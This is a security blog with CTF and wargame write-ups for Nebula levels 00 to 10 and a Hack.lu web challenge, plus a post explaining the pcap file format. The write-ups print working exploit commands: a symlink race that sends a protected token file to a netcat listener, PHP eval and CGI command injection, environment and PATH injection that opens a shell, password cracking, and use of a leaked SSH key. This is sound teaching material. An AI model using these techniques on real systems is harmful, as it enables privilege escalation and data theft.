Wednesday, October 31, 2012

exploit-exercises Nebula: level10

We continue on climbing the Nebula wargame, this time, attacking level10. The source code for the vulnerable binary flag10 is provided.
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
    char *file;
    char *host;

    if(argc < 3) {
        printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
        exit(1);
    }

    file = argv[1];
    host = argv[2];

    if(access(argv[1], R_OK) == 0) {
        int fd;
        int ffd;
        int rc;
        struct sockaddr_in sin;
        char buffer[4096];

        printf("Connecting to %s:18211 .. ", host); fflush(stdout);

        fd = socket(AF_INET, SOCK_STREAM, 0);

        memset(&sin, 0, sizeof(struct sockaddr_in));
        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = inet_addr(host);
        sin.sin_port = htons(18211);

        if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
            printf("Unable to connect to host %s\n", host);
            exit(EXIT_FAILURE);
        }

#define HITHERE ".oO Oo.\n"
        if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
            printf("Unable to write banner to host %s\n", host);
            exit(EXIT_FAILURE);
        }
#undef HITHERE

        printf("Connected!\nSending file .. "); fflush(stdout);

        ffd = open(file, O_RDONLY);
        if(ffd == -1) {
            printf("Damn. Unable to open file\n");
            exit(EXIT_FAILURE);
        }

        rc = read(ffd, buffer, sizeof(buffer));
        if(rc == -1) {
            printf("Unable to read from file: %s\n", strerror(errno));
            exit(EXIT_FAILURE);
        }

        write(fd, buffer, rc);

        printf("wrote file!\n");

    } else {
        printf("You don't have access to %s\n", file);
    }
}
The most interesting part is highlighted in red. access() system call is used to check if the real user has access to a file depending on a provided mode (read in our case.) Our goal is to read the token file and as expected, we won't be able to do so, directly.
level10@nebula:/home/flag10$ ./flag10 token 192.168.56.1
You don't have access to token
What is interesting when looking closer, is that the action of checking the privileges using access() and opening the file is not atomic (e.g it is not indivisible). This makes the program vulnerable to race conditions, in which we will make modifications to the file in a certain interval of time (between access() and open().)
First, we set up our listener, waiting impatiently for the token file.
kroosec@dojo:~/notes/nebula$ nc -l 18211 -k
Now, we exploit the vulnerability.
level10@nebula:/home/flag10$ ./flag10 /tmp/pwn10 192.168.56.1 & ln -f -s /home/flag10/token /tmp/pwn10
[1] 1302
Connecting to 192.168.56.1:18211 .. Connected!
Sending file .. level10@nebula:/home/flag10$ wrote file!
On the other side, we receive the content of the file token. 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27. We use it to login into flag10 user account and getflag!
flag10@nebula:~$ getflag
You have successfully executed getflag on a target account
Note that depending on your luck (time at which symlinking happens, e.g between access() and open(), before or after), you may want to make a shell script that loops through the process a couple of times. But again, I am just lucky.

Tuesday, October 30, 2012

exploit-exercises Nebula: level09

In level09 of Nebula wargame, we have a vulnerable PHP script wrapped by a setuid binary.
level09@nebula:/home/flag09$ ls -l
total 12
-rwsr-x--- 1 flag09 level09 7240 2011-11-20 21:22 flag09
-rw-r--r-- 1 root   root     491 2011-11-20 21:22 flag09.php
level09@nebula:/home/flag09$ cat flag09.php 
<?php
function spam($email)
{
    $email = preg_replace("/\./", " dot ", $email);
    $email = preg_replace("/@/", " AT ", $email);
    return $email;
}
function markup($filename, $use_me)
{
    $contents = file_get_contents($filename);
    $contents = preg_replace("/(\[email (.*)\])/e",
   "spam(\"\\2\")", $contents);
    $contents = preg_replace("/\[/", "<", $contents);
    $contents = preg_replace("/\]/", ">",
   $contents);
    return $contents;
}
$output = markup($argv[1], $argv[2]);
print $output;
?>
The program gets a filename as a command-line argument, reads the content of the file, apply some regular expressions modifications to the recovered content and prints it.
level09@nebula:~$ echo "Hello" > /tmp/test09
level09@nebula:~$ ../flag09/flag09 /tmp/test09 notinteresting

Hello
Nothing really malicious at first sight. But looking a bit closer we may notice the use of the "e" modifier 
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
Searching further in the PHP preg_replace() documentation and pattern modifiers, we find something juicy: "e" modifier is actually PREG_REPLACE_EVAL. Pretty much everything is detailed in the pcre pattern modifiers page on php documentation.
Let's exploit this. We will leverage the $use_me variable that comes as second argument of flag09.
level09@nebula:~$ echo "[email {\${eval(\$_GET[shell_exec(\$use_me)])}}]" > /tmp/pwn09
level09@nebula:~$ cat /tmp/pwn09

[email {${eval($_GET[shell_exec($use_me)])}}]
level09@nebula:~$ ../flag09/flag09 /tmp/pwn09c "/bin/getflag > /tmp/pwnie09"
PHP Notice:  Undefined index:  in /home/flag09/flag09.php(15) : regexp code on line 1
PHP Notice:  Undefined variable:  in /home/flag09/flag09.php(15) : regexp code on line 1
level09@nebula:~$ cat /tmp/pwnie09 
You have successfully executed getflag on a target account

exploit-exercises Nebula: level08

In level08, we have a packet capture file to analyze. First we get the file to our local machine.

kroosec@dojo:~$ scp level08@192.168.56.101:/home/flag08/capture.pcap cap.pcap
kroosec@dojo:~$ file cap.pcap

cap.pcap: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 65535)
Opening the file with Wireshark, we see a TCP connexion between two hosts. 

Using Wireshark's handy follow TCP stream feature, we see what looks like a login action (in clear text!)
The many "." after "Password:" are non-printable characters, and we switch to hex dump view to see their value.
In the ascii table, the 0x7F value represents the DEL character. This means that the sequence "b a c k d o o r DEL DEL DEL 0 0 R m 8 DEL a t e" is just "backd00Rmate". 0x0d value is the carriage return (generated by ENTER key.) 
We login into the flag08 user account using the newly found password, and getflag!
flag08@nebula:~$ getflag
You have successfully executed getflag on a target account

exploit-exercises Nebula: level07


In level07 of Nebula wargame, we are faced with a vulnerable Perl CGI script, hosted with thttpd web server.
level07@nebula:/home/flag07$ ls -l
total 8
-rwxr-xr-x 1 root root  368 2011-11-20 21:22 index.cgi
-rw-r--r-- 1 root root 3719 2011-11-20 21:22 thttpd.conf
level07@nebula:/home/flag07$ cat index.cgi 
#!/usr/bin/perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub ping {
    $host = $_[0];
    print("<html><head><title>Ping results</title></head><body><pre>");
    @output = `ping -c 3 $host 2>&1`;
    foreach $line (@output) { print "$line"; }
    print("</pre></body></html>");
}
# check if Host set. if not, display normal page, etc
ping(param("Host"));
The interesting parts are in red. The script takes the value of "Host" HTTP parameter, and provide it as an argument to ping utility. The vulnerability lies in how the value of the parameter is passed, without any verification, resulting in a OS command injection vulnerability. Our attack vector will be the Host HTTP parameter:
http://192.168.56.101:7007/index.cgi?Host=something_malicious
Just one detail we have to pay attention to, url encoding. As characters such as "/", "?" etc,. have a special meaning in HTTP, we need a way to represent them as data. In our case, we will need the ";" character (whose URL encoding is "%3B").
Navigating to the URL: http://192.168.56.2:7007/index.cgi?Host=%3bgetflag will return "You have successfully executed getflag on a target account."

Monday, October 29, 2012

exploit-exercises Nebula: level06

In level06, we are told that the account credentials for flag06 user account come from a legacy unix system. Let's go straight to the bank.
level06@nebula:~$ cat /etc/passwd | grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
Back in the days, user password hashes were stored in /etc/passwd file. This is no longer the case as they are stored in /etc/shadow which is only readable by root (and shadow group).
We will use John the Ripper in order to find the password. JtR will go through the passwords in the provided word-list one-by-one, comparing the hash of each word with the hash found in /etc/passwd. The operation will stop once we find two matching hashes, thus guessing the right password. The password is hashed using unix' crypt.
kroosec@dojo:~$ cat pass06 flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
kroosec@dojo:~$ john --wordlist=./cain.txt pass06 
Loaded 1 password hash (Traditional DES [128/128 BS SSE2-16])
hello            (flag06)
guesses: 1  time: 0:00:00:00 100%  c/s: 270933  trying: heliolog - helvella
Use the "--show" option to display all of the cracked passwords reliably
It didn't take long! the password is quite trivial, "hello". We login using the flag06 user account and getflag!
flag06@nebula:~$ getflag
You have successfully executed getflag on a target account

exploit-exercises Nebula: level05


This is the write-up for level05 of Nebula wargame. We are told to check the flag05 home directory and look for weak permissions.
level05@nebula:/home/flag05$ ls -la
total 28
drwxr-x---  4 flag05 level05 4096 2011-11-20 21:22 .
drwxr-xr-x 43 root   root    4096 2012-10-14 07:20 ..
drwxr-xr-x  2 flag05 flag05  4096 2011-11-20 20:13 .backup
-rw-r--r--  1 flag05 flag05   220 2011-05-18 02:54 .bash_logout
-rw-r--r--  1 flag05 flag05  3353 2011-05-18 02:54 .bashrc
-rw-r--r--  1 flag05 flag05   675 2011-05-18 02:54 .profile
drwx------  2 flag05 flag05  4096 2011-11-20 20:13 .ssh
World readable backup! Checking the directory content, we find a gzipped tar archive.
level05@nebula:/home/flag05$ ls -la .backup/
total 12
drwxr-xr-x 2 flag05 flag05  4096 2011-11-20 20:13 .
drwxr-x--- 5 flag05 level05 4096 2012-10-14 10:47 ..
-rw-rw-r-- 1 flag05 flag05  1826 2011-11-20 20:13 backup-19072011.tgz
We copy that to our local machine using netcat.
kroosec@dojo:~$ nc -l 2000 > /tmp/backup.tgz
level05@nebula:/home/flag05$ nc 192.168.1.51 2000 < backup-19072011.tgz
And extract the archive with tar utility.
kroosec@dojo:~/tmp$ tar zxvf /tmp/backup.tgz 
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys
An ssh key, just there, waiting to be used. We can use that to login with the flag05 user account.
kroosec@dojo:~/test$ ssh flag05@192.168.1.3 -i .ssh/id_rsa
And run getflag!
flag05@nebula:~$ getflag
You have successfully executed getflag on a target account

exploit-exercises Nebula: level04

In level04 of Nebula wargame, we are tasked to exploit flag04 binary to read a token file. The source code of the binary is provided.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
char buf[1024];
int fd, rc;

if(argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}

if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}

fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}

rc = read(fd, buf, sizeof(buf));

if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}

write(1, buf, rc);
}
The part of the source in bold is responsible for checking that we are not providing "token" as the filename to be read.
level04@nebula:/home/flag04$ ls -l total 12
-rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04
-rw------- 1 flag04 flag04 37 2011-11-20 21:52 token
level04@nebula:/home/flag04$ ./flag04 token
You may not access 'token'
The trick is, we can access token indirectly, through a symbolic link.
level04@nebula:/home/flag04$ ln -s /home/flag04/token /tmp/pwn04
level04@nebula:/home/flag04$ ls -l

/tmp/pwn04 lrwxrwxrwx 1 level04 level04 18
2012-10-29 04:26 /tmp/pwn04 -> /home/flag04/token
level04@nebula:/home/flag04$ ./flag04 /tmp/pwn04
06508b5e-8909-4f38-b630-fdb148a848a2
That is it! Now we can login into the flag04 account using the content of token as the password
flag04@nebula:~$ getflag
You have successfully executed getflag on a target account
the open(2) system call would have failed if the O_NOFOLLOW flag was provided.

exploit-exercises Nebula: level03


In level03 challenge of Nebula, we are told that there is a crontab running every couple of minutes.
level03@nebula:/home/flag03$ ls -ltotal 8
drwxrwxrwx 2 flag03 flag03 4096 2012-10-29 03:03 writable.d
-rwxr-xr-x 1 flag03 flag03   98 2011-11-20 21:22 writable.sh
writable.d is a directory and as its name suggests, is world readable/writable.
writable.sh is the script that is executed every couple of minutes by the crontab.
level03@nebula:/home/flag03$ cat writable.sh #!/bin/sh
for i in /home/flag03/writable.d/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done
The vulnerability lies in writable.sh running every file that in the writable.d directory combined with the fact that writable.d is world writable.
To exploit this vulnerability, we will write a script that will run the /bin/getflag program when executed.
level03@nebula:/home/flag03/writable.d$ echo "/bin/getflag >> /tmp/pwnlog03" > pwnie03
level03@nebula:/home/flag03/writable.d$ cat pwnie03
/bin/getflag >> /tmp/pwnlog03
After some time, the pwnie03 script will be run (and deleted afterwards by writable.sh).
level03@nebula:/home/flag03/writable.d$ ls
level03@nebula:/home/flag03/writable.d$ cat /tmp/pwnlog03 

You have successfully executed getflag on a target account
And that is it, level03 done.

exploit-exercises Nebula: level02


In level02 Nebula challenge, we have the following source code

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
    char *buffer;
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();
    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);
    buffer = NULL;
    asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
    printf("about to call system(\"%s\")\n", buffer);
    system(buffer);
  
}
We have the to find an arbitrary program execution vulnerability. The interesting part of the source is in bold. The flag02 program runs /bin/echo providing it with an argument that starts with the value of the environment variable USER (which is returned by the getenv() library call).
level02@nebula:~$ echo $USER
level02
level02@nebula:~$ ../flag02/flag02
about to call system("/bin/echo level02 is cool")
level02 is cool
We do have total control over the USER environment variable.
level02@nebula:~$ export USER=1337user
level02@nebula:~$ ../flag02/flag02 

about to call system("/bin/echo 1337user is cool")
1337user is cool
To exploit this attack vector, we will change the value of USER to a malicious value (e.g to run /bin/getflag or /bin/sh to get a shell as flag02).
level02@nebula:~$ export USER="get ready;/bin/getflag;#"
get ready is just what /bin/echo will print on the standard output. We could skip it as it is not really needed.
semicolon (;) is used in shell to separate commands, without it, /bin/getflag will be printed by echo.
the # sign signifies that what comes after ("is cool") is just a comment. It is not necessary, but if not provided, after getflag is run, bash will whine about not finding "is" command.
level02@nebula:~$ echo $USER
get ready;/bin/getflag;#
level02@nebula:~$ ../flag02/flag02 
about to call system("/bin/echo get ready;/bin/getflag;# is cool")
get ready
You have successfully executed getflag on a target account
We could have provided /bin/sh instead of /bin/getflag to get a running shell on the box
level02@nebula:~$ export USER=";/bin/sh;#"
level02@nebula:~$ ../flag02/flag02 

about to call system("/bin/echo ;/bin/sh;# is cool")
sh-4.2$ whoami
flag02
sh-4.2$ id
uid=997(flag02) gid=1003(level02) groups=997(flag02),1003(level02)
sh-4.2$ getflag
You have successfully executed getflag on a target account
But the general goal of the wargame is to run /bin/getflag as the flagXY account, so we try to go straight to the goal. ;)

Sunday, October 28, 2012

exploit-exercises Nebula: level01

In level01 of Nebula wargame, we are required to find a vulnerability that allows us to run arbitrary programs. The source code of flag01 is provided:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);

system("/usr/bin/env echo and now what?");
}
The system() library call executes echo "and now what?"
level01@nebula:~$ ../flag01/flag01
and now what?
but instead of directly running /bin/echo, it uses /usr/bin/env to find the location of echo. Ever came across scripts starting with #!/usr/bin/env python ? This is used for portability issues, as fixing a path (such as /usr/bin/python) wouldn't work when the Python interpreter is installed in a different location. How does env look for the specified program ? it simply searches in the directories specified in the PATH environment variable starting from the the first directory, and going through the directories in $PATH until it finds the looked-for program.
level01@nebula:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games 
How to attack this program ? We will prepend to $PATH a directory in which we will add a symbolic link echo pointing to /bin/getflag.
First we prepend /home/level01 to $PATH
level01@nebula:~$ export PATH=/home/level01/:$PATH
level01@nebula:~$ echo $PATH
/home/level01/:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
Now we create a symbolic link /home/level01/echo to /bin/getflag
level01@nebula:~$ ln -s /bin/getflag echo
level01@nebula:~$ ls -l echo
lrwxrwxrwx 1 level01 level01 12 2012-10-28 12:32 echo -> /bin/getflag
Now flag01 will run our own /home/level01/echo that is simply a symbolic link to /bin/getflag.
level01@nebula:~$ ../flag01/flag01
You have successfully executed getflag on a target account

Saturday, October 27, 2012

exploit-exercises Nebula: level00

In order to solve level00 challenge, we have to find a setuid program that will run as the "flag00" user.
Easy task, all we need is the find utility. (man find for more information)
level00@nebula:~$ find / -perm -4000 -user flag00 2> /dev/null
/bin/.../flag00
file / starts looking from the root directory.
-perm -4000 indicates that the the setuid bit should be on. Notice the dash in front of 4000, which means that the only the flipped on bits should match (e.g the file doesn't need to have 4000 permissions exactly, just the setuid bit flipped on.)
-user flag00 doesn't need much explanation.
2> /dev/null is a redirection of /dev/stderr to /dev/null. It is not necessary, but we don't care about the "Permission denied" errors, just the file we are looking for.
level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:~$ getflag
You have successfully executed getflag on a target account

Friday, October 26, 2012

[CTF] Hacklu'12: 20 - nerd safe house

By sending a simple request (using ncat / intercepting proxy):
GET / HTTP/1.0

we get the following response:
HTTP/1.1 302 Found
Date: Tue, 23 Oct 2012 16:48:43 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.4
Location: ?cid=vp3ElnOGh7iwP
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html
Connection: close


In other terms, a redirection to ?cid=vp3ElnOGh7iwP

The following request:
GET /?cid=vp3ElnOGh7iwP HTTP/1.0

will have this response in return:
HTTP/1.1 403 Forbidden
Date: Tue, 23 Oct 2012 16:50:08 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.4
X-Hint: Wrong Browser
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html
Connection: close


When using a normal web browser, we see:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script>
history.replaceState(0,0,'?cid=vp3E1nOGh7jwP');</script>
</head>
<body>Nothing to see here.</body>
</html>

In essence, the javascript code (highlighted in red) will change the location from ?cid=vp3ElnOGh7iwP to ?cid=vp3E1nOGh7jwP without leaving a trace in the history. If we first, navigated with a web browser, we would have missed this (unless you have a sharp eye ;))
Playing around with the modified values. This following request:
GET /?cid=vp3ElnOGh7jwP HTTP/1.0

will result in:
HTTP/1.1 200 OK
Date: Tue, 23 Oct 2012 16:52:52 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.4
Vary: Accept-Encoding
Content-Length: 230
Content-Type: text/html
Connection: close

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script>
history.replaceState(0,0,'?cid=vp3E1nOGh7jwP');</script>
<!-- The secret is 14574e443ef2331439d25dc9da3b617e :D -->
</head>
<body>Nothing to see here.</body>
</html>


And that is our flag.

Saturday, October 13, 2012

A look at the pcap file format

 A couple of days ago, someone came on #Nmap IRC channel asking about pcap file format. He was writing a parser in Haskell but had some issues, especially with extracting the timestamp values of the each packet. As I walked him through the file format, I decided to write this blog post as a quick reference, a reminder, or a clearer explanation depending on who is reading it.
While detailing the file format, we will have a closer look at this capture file.

A pcap file is structured in this way:
Global Header | Header1 | Data1 | Header2 | Data2 | ... | HeaderN | DataN

The parts in blue are added by libpcap/capture software, while the parts in red are the actual data captured on the wire.
The first part of the file is the global header, which is inserted only once in the file, at the start. The global header has a fixed size of 24 bytes.

kroosec@dojo:~$ hexdump -n 24 -C connection\ termination.cap | cut -c 11-59
d4 c3 b2 a1 02 00 04 00  00 00 00 00 00 00 00 00
ff ff 00 00 01 00 00 00


The first 4 bytes d4 c3 b2 a1 constitute the magic number which is used to identify pcap files. The next 4 bytes 02 00 04 00 are the Major version (2 bytes) and Minor Version (2 bytes), in our case 2.4. Why is 2 written on 2 bytes as 0x0200 and not 0x0002 ? This is called little endianess in which, the least significant byte is stored in the least significant position: This means that 2 would be written on 2 bytes as 02 00. How do we know that we are not using Big Endianness instead ? The magic number is also used to distinguish between Little and Big Endianness. The "real" value is 0xa1b2c3d4, if we read it as as a1 b2 c3 d4, it means Big E. Otherwise (0xd4c3b2a1), it means Little E.
Following are the GMT timezone offset minus the timezone used in the headers in seconds (4 bytes) and the accuracy of the timestamps in the capture (4 bytes). These are set to 0 most of the time which gives us the  00 00 00 00 00 00 00 00. Next is the Snapshot Length field (4 bytes) which indicates the maximum length of the captured packets (dataX) in bytes. In our file it is set to ff ff 00 00 which equals to 65535 (0xffff), the default value for tcpdump and wireshark. The last 4 bytes in the global header specify the Link-Layer Header Type. Our file has the value of 0x1 ( 01 00 00 00 ), which indicates that the link-layer protocol is Ethernet. There are many other types such as PPPoE, USB, Frame Relay etc,. The complete list is available here.
After the Global header, we have a certain number of packet header / data pairs.
Taking a closer look at the first packet header:
kroosec@dojo:~$ hexdump -C connection\ termination.cap -s 24 -n 16 | cut -c 11-59
c2 ba cd 4f b6 35 0f 00  36 00 00 00 36 00 00 00
The first 4 bytes are the timestamp in Seconds. This is the number of seconds since the start of 1970, also known as Unix Epoch. The value of this field in our pcap file is 0x4fcdbac2. An easy way to convert it to a human readable format:
kroosec@dojo:~$ calc 0x4fcdbac2
    1338882754
kroosec@dojo:~$ date --date='1970-01-01 1338882754 sec GMT'
Tue Jun  5 08:52:34 CET 2012
The second field (4 Bytes) is the microseconds part of the time at which the packet was captured. In our case it equals to b6 35 0f 00 or 996790 microseconds.
The third field is 4 bytes long and contains the size of the saved packet data in our file in bytes (the part in red following the header). The Fourth field is 4 bytes long too and contains the length of the packet as it was captured on the wire. Both fields' value is 36 00 00 00 (54 Bytes) in our file but these may have different values in cases where we set the maximum packet length (whose value is 65535 in the global header of our file) to a smaller size.
After the packet header comes the data! Starting from the lower layer we see the Ethernet destination address 00:12:cf:e5:54:a0 followed by the source address 00:1f:3c:23:db:d3.

To sum it up here is our file.
kroosec@dojo:~$ hexdump -C connection\ termination.cap | cut -c 11-59
d4 c3 b2 a1 02 00 04 00  00 00 00 00 00 00 00 00
ff ff 00 00 01 00 00 00
  c2 ba cd 4f b6 35 0f 00
36 00 00 00 36 00 00 00
  00 12 cf e5 54 a0 00 1f
3c 23 db d3 08 00 45 00  00 28 4a a6 40 00 40 06
58 eb c0 a8 0a e2 c0 a8  0b 0c 4c fb 00 17 e7 ca
f8 58 26 13 45 de 50 11  40 c7 3e a6 00 00
c3 ba
cd 4f 60 04 00 00 3c 00  00 00 3c 00 00 00 00
1f
3c 23 db d3 00 12 cf e5  54 a0 08 00 45 00 00 28
8a f7 00 00 40 06 58 9a  c0 a8 0b 0c c0 a8 0a e2
00 17 4c fb 26 13 45 de  e7 ca f8 59 50 10 01 df
7d 8e 00 00 00 00 00 00  00 00
c3 ba cd 4f 70 2f
00 00 3c 00 00 00 3c 00  00 00
00 1f 3c 23 db d3
00 12 cf e5 54 a0 08 00  45 00 00 28 26 f9 00 00
40 06 bc 98 c0 a8 0b 0c  c0 a8 0a e2 00 17 4c fb
26 13 45 de e7 ca f8 59  50 11 01 df 7d 8d 00 00
00 00 00 00 00 00
c3 ba  cd 4f db 2f 00 00 36 00
00 00 36 00 00 00
00 12  cf e5 54 a0 00 1f 3c 23
db d3 08 00 45 00 00 28  4a a7 40 00 40 06 58 ea
c0 a8 0a e2 c0 a8 0b 0c  4c fb 00 17 e7 ca f8 59
26 13 45 df 50 10 40 c7  3e a5 00 00


And here is what the file utility thinks of it
kroosec@dojo:~$ type file
file is /usr/bin/file
kroosec@dojo:~$ file connection\ termination.cap
connection termination.cap: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 65535)

While Wireshark displays this.